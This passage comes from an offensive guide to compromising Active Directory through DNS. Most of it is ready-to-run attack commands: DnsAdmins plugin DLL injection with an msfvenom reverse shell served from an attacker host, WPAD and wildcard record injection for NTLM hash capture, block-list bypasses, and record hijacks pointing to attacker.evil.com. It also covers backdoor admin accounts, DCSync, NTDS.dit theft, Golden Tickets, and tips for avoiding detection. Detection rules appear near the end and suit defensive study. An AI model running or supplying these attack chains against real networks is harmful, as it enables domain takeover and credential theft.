john --format=netntlmv2 hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# ── STEP 5: Or relay hashes (if NTLMv2 relay is possible) ───────────────────
# With impacket ntlmrelayx:
python3 ntlmrelayx.py -tf targets.txt -smb2support
# Combine with wildcard: victims hit attacker → relay to other machines

9.4 Global Query Block List (GQBL) Bypass [MITM]

Windows automatically blocks certain names (like wpad, isatap) via the Global Query Block List to prevent basic poisoning attacks. Here's how to work around it:

# Check the GQBL on the DNS server
Get-DnsServerGlobalQueryBlockList -ComputerName DC01
# Typical output: EnableGlobalQueryBlockList = True, List = {wpad, isatap}

# Method 1: Disable GQBL entirely (requires DnsAdmins — very noisy)
Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName DC01

# Method 2: Remove specific entries from GQBL
Set-DnsServerGlobalQueryBlockList -List @("isatap") -ComputerName DC01
# (removes wpad from the block list, keeping isatap)

# Method 3: Inject as NS record instead of A record (bypasses GQBL for wpad)
Invoke-DNSUpdate -DNSType NS -DNSName wpad -DNSData attacker.domain.com -Verbose

# Method 4: Inject a CNAME (GQBL blocks A records for wpad, not CNAME)
# Add-DnsServerResourceRecord -ZoneName "domain.local" -Name "wpad" -CName -HostNameAlias "attacker.domain.local"

# Method 5: Wildcard record (bypasses GQBL for wpad because wpad IS in DNS)
# Wildcard * catches everything not explicitly listed — including wpad if GQBL isn't active

10. WPAD Spoofing via DNS Record Injection

What it means: WPAD (Web Proxy Auto-Discovery) is a protocol that allows clients to automatically discover proxy settings. When a client can't find a WPAD record via LLMNR/NBNS/DNS, it sends a DNS query for wpad.domain.local. By injecting a WPAD DNS record pointing to your attacker machine, you can intercept all web traffic from clients — capturing NTLM hashes or relaying credentials.

10.1 WPAD DNS Record Injection [MITM][CRED]

# Method 1: PowerShell Add-DnsServerResourceRecordA (requires DnsAdmins)
Add-DnsServerResourceRecordA -Name "wpad" `
    -ZoneName "domain.local" `
    -ComputerName "DC01.domain.local" `
    -IPv4Address "10.10.14.5"

# Method 2: Powermad (any authenticated user)
Import-Module .\Powermad.ps1
Invoke-DNSUpdate -DNSType A -DNSName "wpad" -DNSData 10.10.14.5 -Verbose
# Note: May fail if GQBL blocks wpad — see bypass methods in section 9.4

# Method 3: dnscmd (requires DnsAdmins)
dnscmd DC01 /recordadd domain.local wpad A 10.10.14.5

# Verify WPAD record was injected
Resolve-DnsName wpad.domain.local
# Should return: 10.10.14.5

10.2 Serving the Fake WPAD Configuration [MITM]

# ── ON ATTACKER MACHINE ───────────────────────────────────────────────────────

# Method 1: Responder with WPAD (-w flag)
responder -I eth0 -w     # Serves WPAD + captures hashes
# Responder will serve: wpad.dat → instructs clients to use attacker as proxy
# When browser authenticates to proxy → NTLMv2 hash captured

# Method 2: Serve a custom wpad.dat via Python HTTP server
cat > /var/www/html/wpad.dat << 'EOF'
function FindProxyForURL(url, host) {
    return "PROXY 10.10.14.5:8080; DIRECT";
}
EOF
python3 -m http.server 80

# Method 3: Full Inveigh (PowerShell) — all-in-one capture tool
Import-Module .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -Proxy Y -WPAD Y

# ── CAPTURE FLOW ─────────────────────────────────────────────────────────────
# Client opens browser → looks for wpad.domain.local
# DNS resolves wpad to 10.10.14.5 (your record)
# Client fetches http://10.10.14.5/wpad.dat
# Client sets proxy to 10.10.14.5:8080
# All HTTP/HTTPS traffic proxied through attacker
# If proxy requires auth → Windows sends NTLM challenge/response → hash captured

11. DNS Record Manipulation for MITM & Persistence

What it means: Beyond wildcard and WPAD records, attackers with DnsAdmins access can modify or create specific DNS records to redirect individual services — hijacking mail servers, internal websites, authentication endpoints, or adding records for C2 beacons.

11.1 Add/Modify DNS Records via PowerShell [MITM][PERSIST]

# ── ADD A RECORDS ────────────────────────────────────────────────────────────
# Redirect specific service to attacker
Add-DnsServerResourceRecordA -Name "sharepoint" -ZoneName "domain.local" -IPv4Address "10.10.14.5" -ComputerName DC01

# Add a hostname for C2 beacon (blend into internal DNS)
Add-DnsServerResourceRecordA -Name "windowsupdate-internal" -ZoneName "domain.local" -IPv4Address "10.10.14.5" -ComputerName DC01

# ── MODIFY EXISTING RECORDS (hijack) ─────────────────────────────────────────
# Get existing record
$OldRecord = Get-DnsServerResourceRecord -ZoneName "domain.local" -Name "intranet" -ComputerName DC01

# Clone and modify the IP
$NewRecord = $OldRecord.Clone()
$NewRecord.RecordData.IPv4Address = [System.Net.IPAddress]::Parse("10.10.14.5")

# Apply the change (requires DnsAdmins write rights)
Set-DnsServerResourceRecord -ZoneName "domain.local" -OldInputObject $OldRecord -NewInputObject $NewRecord -ComputerName DC01

# ── ADD CNAME RECORDS ─────────────────────────────────────────────────────────
# Create CNAME that points internal service to attacker-controlled name
Add-DnsServerResourceRecordCName -Name "mail-internal" -ZoneName "domain.local" -HostNameAlias "attacker.evil.com" -ComputerName DC01

# ── LIST ALL RECORDS IN ZONE ─────────────────────────────────────────────────
Get-DnsServerResourceRecord -ZoneName "domain.local" -ComputerName DC01 | Select HostName, RecordType, RecordData

# ── DELETE RECORDS (cleanup) ─────────────────────────────────────────────────
Remove-DnsServerResourceRecord -ZoneName "domain.local" -Name "wpad" -RRType "A" -RecordData "10.10.14.5" -ComputerName DC01 -Force

11.2 dnscmd Record Management [PERSIST]

:: List all records in a zone
dnscmd DC01 /enumrecords domain.local @

:: Add A record for C2 blend
dnscmd DC01 /recordadd domain.local telemetry-svc A 10.10.14.5

:: Add PTR (reverse lookup) record
dnscmd DC01 /recordadd 1.168.192.in-addr.arpa 100 PTR attacker.domain.local.

:: Add TXT record (can embed data)
dnscmd DC01 /recordadd domain.local _dmarc TXT "data=YXR0YWNrZXI="

:: Delete a record
dnscmd DC01 /recorddelete domain.local wpad A 10.10.14.5 /f

:: Zone transfer check (can you pull all records?)
dnscmd DC01 /enumzones
dnscmd DC01 /zoneexport domain.local domain_zone.txt

12. Post-Exploitation — From SYSTEM to Domain Compromise

What it means: Once your DLL executes as SYSTEM on the DC, you have the highest privilege on the most trusted machine in the domain. Here's how to capitalize on that.

12.1 Immediate Post-SYSTEM Actions [PRIVESC]

# ── YOU HAVE SYSTEM ON DC — WHAT TO DO ───────────────────────────────────────

# 1. Add domain admin backdoor (if DLL adds user — confirm it worked)
net user hacker P@ssw0rd /domain
net group "Domain Admins" hacker /add /domain

# 2. Dump LSASS (all domain hashes cached on DC)
# Via Task Manager: Create dump of lsass.exe
# Via procdump:
procdump.exe -ma lsass.exe C:\Windows\Temp\lsass.dmp

# Via PowerShell with direct injection:
# (after your reverse shell is up)
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

# 3. DCSync — dump ALL domain hashes without touching disk
# (from your SYSTEM shell on DC, or with Domain Admin creds)
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.local /all"'

# Or with impacket from Linux:
python3 secretsdump.py -just-dc DOMAIN/hacker:P@ssw0rd@DC01.domain.local

# 4. Extract NTDS.dit (offline hash database)
# Create shadow copy and copy ntds.dit (see WMI notes)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\

# 5. Golden Ticket generation (forge any Kerberos ticket)
# Need: krbtgt hash (from DCSync) + domain SID
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'  # Get krbtgt hash
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:KRBTGTHASH /id:500 /ptt"'

# 6. Establish persistence beyond DNS
# Add DnsAdmins DLL persistence + Golden Ticket + Admin backdoor = multiple paths

12.2 DCSync via Impacket (Linux) [CRED]

# Full domain dump via DCSync — no need to touch DC disk
python3 secretsdump.py -just-dc DOMAIN/hacker:P@ssw0rd@DC01.domain.local

# Output:
# [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
# DOMAIN.LOCAL\Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
# DOMAIN.LOCAL\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a25e5a2a8c61a2f6df9c63e4ef1cf7e1:::
# DOMAIN.LOCAL\user1:1001:aad3b435b51404eeaad3b435b51404ee:e4be000a4a18b1d25db45f4fc5312f17:::

# Pass-the-Hash with dumped creds
python3 wmiexec.py -hashes :fc525c9683e8fe067095ba2ddc971889 DOMAIN/Administrator@DC01.domain.local

# Crack krbtgt hash for Golden Ticket
hashcat -m 1000 krbtgt_hash.txt /usr/share/wordlists/rockyou.txt

13. Cleanup & OPSEC

What it means: After the engagement, you must restore DNS to a working state. Leaving the malicious DLL configured will crash or corrupt DNS on next service restart — causing domain-wide outage. Always clean up.

13.1 Full DNS Plugin Cleanup [OPSEC]

# ── METHOD 1: dnscmd cleanup ─────────────────────────────────────────────────

# Remove the ServerLevelPluginDll configuration
# Setting it to 0 / empty removes the DLL reference
dnscmd DC01 /config /serverlevelplugindll 0

# Restart DNS to apply cleanup
sc.exe \\DC01 stop dns
sc.exe \\DC01 start dns

# ── METHOD 2: Registry delete ────────────────────────────────────────────────

# Delete the registry value directly
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll /f

# Remote delete
reg delete \\DC01\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /f

# Restart DNS
sc.exe \\DC01 stop dns
sc.exe \\DC01 start dns

# ── METHOD 3: PowerShell registry removal ────────────────────────────────────
Remove-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -Name "ServerLevelPluginDll"

# ── VERIFY CLEANUP ───────────────────────────────────────────────────────────
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -Name ServerLevelPluginDll -ErrorAction SilentlyContinue
# Should return nothing — key is gone

# Also delete the DLL file (if copied locally)
del \\DC01\C$\Windows\Temp\evil.dll

13.2 ADIDNS Record Cleanup [OPSEC]

# Remove injected wildcard record
Invoke-DNSUpdate -DNSType A -DNSName "*" -DNSData 10.10.14.5 -Delete -Verbose

# Remove WPAD record
Remove-DnsServerResourceRecord -ZoneName "domain.local" -Name "wpad" -RRType "A" -RecordData "10.10.14.5" -ComputerName DC01 -Force

# Re-enable GQBL if you disabled it
Set-DnsServerGlobalQueryBlockList -Enable $true -ComputerName DC01
Set-DnsServerGlobalQueryBlockList -List @("wpad","isatap") -ComputerName DC01

# Verify all cleaned up
Get-DnsServerResourceRecord -ZoneName "domain.local" -ComputerName DC01 | Where-Object {$_.HostName -in @("*","wpad")}

13.3 OPSEC Considerations [OPSEC]

OPSEC checklist for DNS Admin attacks:

Pre-attack:
├── ✅ Confirm scope includes DC, DNS service, DNSAdmins group
├── ✅ Test DLL locally (rundll32 test) before deploying
├── ✅ Use UNC path only if DC computer account → attacker SMB is acceptable
├── ✅ Prefer local DLL copy over UNC to avoid DC→external SMB traffic
└── ✅ Set up listener BEFORE restarting DNS

During attack:
├── ✅ DLL must export DnsPluginInitialize, DnsPluginCleanup (avoid crash)
├── ✅ Payload MUST run in a new thread (DnsPluginInitialize must return quickly)
├── ✅ msfvenom raw DLL will crash DNS — use wrapped version
├── ✅ WPAD/wildcard record injection: start Responder before creating record
└── ✅ Keep DNS restart timing to a minimum (restart → listener → check → cleanup)

Post-attack:
├── ✅ Always remove ServerLevelPluginDll registry value
├── ✅ Restart DNS to confirm it loads clean
├── ✅ Remove injected DNS records (wildcard, wpad, custom)
├── ✅ Delete DLL from any local paths it was copied to
├── ✅ Remove backdoor user account (or note it for report)
└── ✅ If GQBL was disabled, re-enable it

Things that get you caught:
├── ❌ DNS crashes → immediate blue team response
├── ❌ DC computer account authenticating to attacker IP via SMB (Event 4624 anomaly)
├── ❌ dnscmd.exe execution with /serverlevelplugindll flag (Sysmon 1 + Splunk)
├── ❌ Wildcard DNS record for * (Elastic/Sentinel detection rule)
├── ❌ wpad DNS record creation (Elastic rule: Potential WPAD Spoofing)
└── ❌ Unsigned DLL loaded by dns.exe (Sysmon 7 + Elastic rule)

14. Detection & Threat Hunting

14.1 Key Event IDs [DETECT]

Event ID Source What It Catches
4688 / Sysmon 1 Security / Sysmon dnscmd.exe execution with /serverlevelplugindll
Sysmon 7 Sysmon Unsigned DLL loaded by dns.exe
Sysmon 13 Sysmon Registry value set: ServerLevelPluginDll
4624 (Type 3) Security Anomalous logon from DC computer account to attacker IP
4662 Security AD object access (DnsAdmins group modification)
5136 Security Directory service object modification (ADIDNS record creation)
DNS-Server-Service/Operational DNS Operational Log DNS service errors on DLL load failure

14.2 Sigma / Detection Rules [DETECT]

# ── RULE 1: dnscmd /serverlevelplugindll execution ────────────────────────────
title: DNS ServerLevelPluginDll Configuration via dnscmd
status: stable
tags:
  - attack.privilege_escalation
  - attack.t1574
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\dnscmd.exe'
    CommandLine|contains: '/serverlevelplugindll'
  condition: selection
falsepositives:
  - Legitimate DNS server administration with custom plugins
level: high

# ── RULE 2: Registry key ServerLevelPluginDll set ────────────────────────────
title: New DNS ServerLevelPluginDll Installed
status: stable
tags:
  - attack.privilege_escalation
  - attack.t1543.003
logsource:
  product: windows
  category: registry_set
detection:
  selection:
    TargetObject|endswith: '\services\DNS\Parameters\ServerLevelPluginDll'
  condition: selection
level: high

# ── RULE 3: Unsigned DLL loaded by dns.exe ────────────────────────────────────
title: Unsigned DLL Loaded by DNS Service
status: stable
logsource:
  product: windows
  category: image_load
detection:
  selection:
    Image|endswith: '\dns.exe'
  filter:
    Signed: 'true'
  condition: selection and not filter
level: critical

# ── RULE 4: WPAD DNS record creation ─────────────────────────────────────────
title: Potential WPAD Record Creation via DNS
status: stable
tags:
  - attack.credential_access
  - attack.t1557
logsource:
  product: windows
  service: security
  definition: 'Requires Event ID 5137 (LDAP object creation)'
detection:
  selection:
    EventID: 5137
    ObjectClass: 'dnsNode'
    ObjectDN|contains: 'DC=wpad'
  condition: selection
level: high

14.3 Splunk Hunting Queries [DETECT]

-- dnscmd /serverlevelplugindll execution
index=windows EventCode=4688
| where Image LIKE "%dnscmd.exe%" AND CommandLine LIKE "%serverlevelplugindll%"
| table _time, host, user, CommandLine

-- Sysmon: Registry ServerLevelPluginDll set
index=windows source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=13
| where TargetObject LIKE "%DNS%Parameters%ServerLevelPluginDll%"
| table _time, host, user, TargetObject, Details

-- Sysmon: Unsigned DLL loaded by dns.exe
index=windows source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=7
| where Image LIKE "%\\dns.exe%" AND (Signed="false" OR Signed="-")
| table _time, host, Image, ImageLoaded, Signed, Signature

-- ADIDNS wildcard / wpad record creation (Event 5136/5137)
index=windows EventCode IN (5136, 5137)
| where ObjectClass="dnsNode" AND (ObjectDN LIKE "%DC=\\*%" OR ObjectDN LIKE "%DC=wpad%")
| table _time, host, user, ObjectDN, OperationType

-- Anomalous DC computer account SMB auth (DC→external IP)
index=windows EventCode=4624 LogonType=3
| where SubjectUserName LIKE "%$"     -- Computer account (DC01$)
| where NOT (IpAddress LIKE "192.168.%" OR IpAddress LIKE "10.%" OR IpAddress="127.0.0.1")
| table _time, host, SubjectUserName, IpAddress, WorkstationName

14.4 KQL (Microsoft Sentinel / MDE) [DETECT]

// dnscmd /serverlevelplugindll
DeviceProcessEvents
| where FileName =~ "dnscmd.exe"
| where ProcessCommandLine contains "serverlevelplugindll"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine

// Unsigned DLL loaded by dns.exe
DeviceImageLoadEvents
| where InitiatingProcessFileName =~ "dns.exe"
| where not(IsCertificateValid)
| project Timestamp, DeviceName, FileName, FolderPath, IsCertificateValid, Signer

// ADIDNS wildcard or WPAD record creation
DeviceEvents
| where ActionType == "DirectoryServiceObjectCreation"
| where AdditionalFields contains "dnsNode"
| where AdditionalFields contains "wpad" or AdditionalFields contains "\\*\\"
| project Timestamp, DeviceName, AccountName, AdditionalFields

// Registry ServerLevelPluginDll modification
DeviceRegistryEvents
| where RegistryKey contains @"DNS\Parameters"
| where RegistryValueName == "ServerLevelPluginDll"
| project Timestamp, DeviceName, AccountName, RegistryKey, RegistryValueData

14.5 Detection Summary [DETECT]

Indicator Confidence Source
dnscmd.exe + /serverlevelplugindll in CommandLine Critical Process creation logs
Registry key ServerLevelPluginDll written Critical Sysmon 13 / Windows registry audit
Unsigned DLL loaded by dns.exe Critical Sysmon 7 / Elastic Defend
dc01$ (DC computer account) authenticating to non-domain IP High Event 4624 Type 3
ADIDNS object DC=* created (wildcard) High Event 5137
ADIDNS object DC=wpad created High Event 5137
Get-DnsServerGlobalQueryBlockList followed by disable Medium PowerShell logging
DnsAdmins group membership change High Event 4732

15. Comparison Matrix

Attack Privilege Required Impact Detection Risk Stealthiness MITRE
DNSAdmins DLL Injection (UNC) DnsAdmins member SYSTEM on DC = Domain Compromise Critical Low (DC → attacker SMB) T1574
DNSAdmins DLL Injection (Local) DnsAdmins + file write on DC SYSTEM on DC High Medium T1574
mimilib.dll DNS Plugin DnsAdmins member Passive credential harvesting High Medium T1543.003
ADIDNS Wildcard Record Any domain user MITM all unresolved DNS → hashes Medium Medium T1557
WPAD DNS Record Injection Any domain user (if GQBL disabled) Proxy MITM → hash capture Medium Medium T1557.001
DNS Record Hijack (A/CNAME) DnsAdmins member Service redirect / phishing Medium High T1584
GQBL Disable + WPAD DnsAdmins member Full WPAD MITM High Low T1557
DNS Zone Transfer DnsAdmins read Full DNS topology mapping Low High T1590
DCSync (post-exploitation) DA / DC SYSTEM All domain hashes High Medium T1003.006

16. Cheat Sheet & Quick Reference

Full Attack Chain: DNSAdmins → SYSTEM (30 seconds)

# ── ATTACKER MACHINE (Linux) ──────────────────────────────────────────────────
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f dll -o evil.dll
# (⚠️ raw msfvenom will crash DNS — use proper DLL from section 5.1 for stability)

impacket-smbserver share $(pwd) -smb2support &
rlwrap nc -nlvp 443
# ── TARGET (Windows — DnsAdmins account) ─────────────────────────────────────
# Verify group membership
whoami /groups | findstr DnsAdmins

# Configure DLL
dnscmd.exe DC01 /config /serverlevelplugindll \\10.10.14.5\share\evil.dll

# Restart DNS (triggers DLL load)
sc.exe \\DC01 stop dns
sc.exe \\DC01 start dns
# ← Reverse shell as SYSTEM received on attacker

# Cleanup after
dnscmd.exe DC01 /config /serverlevelplugindll 0
sc.exe \\DC01 stop dns && sc.exe \\DC01 start dns

Full Attack Chain: ADIDNS Wildcard → Hash Capture

# ── ATTACKER MACHINE (Linux) ──────────────────────────────────────────────────
responder -I eth0 -wrf &
# ── TARGET (any domain user) ──────────────────────────────────────────────────
Import-Module .\Powermad.ps1
Invoke-DNSUpdate -DNSType A -DNSName "*" -DNSData 10.10.14.5 -Verbose
# Wait for hashes → responder captures them

# Cleanup
Invoke-DNSUpdate -DNSType A -DNSName "*" -DNSData 10.10.14.5 -Delete -Verbose

Quick Enumeration Commands

# Who's in DnsAdmins?
Get-ADGroupMember -Identity "DnsAdmins" | Select Name, SamAccountName

# Am I in DnsAdmins?
whoami /groups | findstr DnsAdmins

# Is ServerLevelPluginDll set?
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -Name ServerLevelPluginDll -EA SilentlyContinue

# Are there suspicious DNS records?
Get-DnsServerResourceRecord -ZoneName "domain.local" -ComputerName DC01 | Where-Object {$_.HostName -in @("*","wpad","isatap")}

# What's in ADIDNS?
([ADSI]"LDAP://DC=domain.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=domain,DC=local").Children | Select Name

DLL Build Quick Reference

# Proper DLL (stable — DNS stays up)
x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -lws2_32

# Verify exports
x86_64-w64-mingw32-objdump -p evil.dll | grep DnsPlugin
# Must see: DnsPluginInitialize, DnsPluginCleanup, DnsPluginQuery

# Add user payload (no reverse shell needed)
msfvenom -p windows/x64/exec cmd='net group "Domain Admins" hacker /add /domain' -f dll -o adduser.dll
# ⚠️ Still needs wrapper with proper exports — use adduser.cpp from section 5.2

# Serve DLL
impacket-smbserver share $(pwd) -smb2support
# Or: python3 -m http.server 80

Decision Tree

DNS Admin Attack Goal?
│
├─ Have DnsAdmins account?
│  ├─ Yes → DNSAdmins DLL Injection (SYSTEM on DC)
│  │  ├─ Linux → UNC path via Impacket SMB server
│  │  └─ Windows → Local copy + dnscmd
│  │
│  ├─ Want passive creds without reverse shell?
│  │  └─ mimilib.dll DNS plugin → kiwidns.log
│  │
│  └─ Want stealth MITM?
│     ├─ WPAD record + disable GQBL → proxy traffic capture
│     └─ DNS record hijack → redirect specific services
│
└─ Only have regular domain user?
   ├─ ADIDNS wildcard injection + Responder → hash capture
   ├─ WPAD injection (if GQBL allows) → NTLM hash capture
   └─ DNS enumeration → network topology mapping

Tools Quick Reference

Tool Platform Purpose Notes
dnscmd.exe Windows (native) Configure DNS service, set plugin DLL Built-in to Windows Server
msfvenom Linux Generate DLL payload Raw DLL crashes DNS — wrap it
impacket-smbserver Linux Host DLL via SMB for UNC delivery Use -smb2support for modern AD
Powermad.ps1 Windows ADIDNS record injection (any user) Invoke-DNSUpdate
dnstool.py Linux ADIDNS record manipulation Impacket / krbrelayx
Responder Linux Hash capture via WPAD / wildcard Combined with ADIDNS injection
Inveigh Windows PowerShell hash capture (no Responder) Works fully from Windows
BloodHound Any Find DnsAdmins members + paths MemberOf → DnsAdmins
secretsdump.py Linux DCSync after getting DA/SYSTEM Hash dump via replication
mimilib.dll Windows DNS plugin for passive credential harvest Part of Mimikatz toolkit

References & Further Reading

Original Research:

  • Shay Ber — "Feature, Not Bug: DNSAdmin to DC Compromise in One Line": https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
  • Adsecurity.org DNSAdmins breakdown: https://adsecurity.org/?p=4064
  • From DnsAdmins to SYSTEM (ired.team): https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise

Tools:

  • Powermad (ADIDNS injection): https://github.com/Kevin-Robertson/Powermad
  • Krbrelayx / dnstool.py: https://github.com/dirkjanm/krbrelayx
  • Mimikatz / mimilib: https://github.com/gentilkiwi/mimikatz
  • Inveigh: https://github.com/Kevin-Robertson/Inveigh

MITRE ATT&CK:

  • T1574 — Hijack Execution Flow: https://attack.mitre.org/techniques/T1574/
  • T1557 — Adversary-in-the-Middle: https://attack.mitre.org/techniques/T1557/
  • T1003.006 — OS Credential Dumping: DCSync: https://attack.mitre.org/techniques/T1003/006/

Detection:

  • Elastic: Unsigned DLL Loaded by DNS Service: https://www.elastic.co/guide/en/security/current/unsigned-dll-loaded-by-dns-service.html
  • Elastic: ADIDNS Wildcard Record Creation: https://www.elastic.co/docs/reference/security/prebuilt-rules/rules/windows/credential_access_adidns_wildcard
  • Splunk: Windows Set Custom DNS ServerLevelPlugin Via Dnscmd: https://research.splunk.com/endpoint/9add7765-4af5-45aa-a078-3b32de303e3e/

← Active Directory top ↑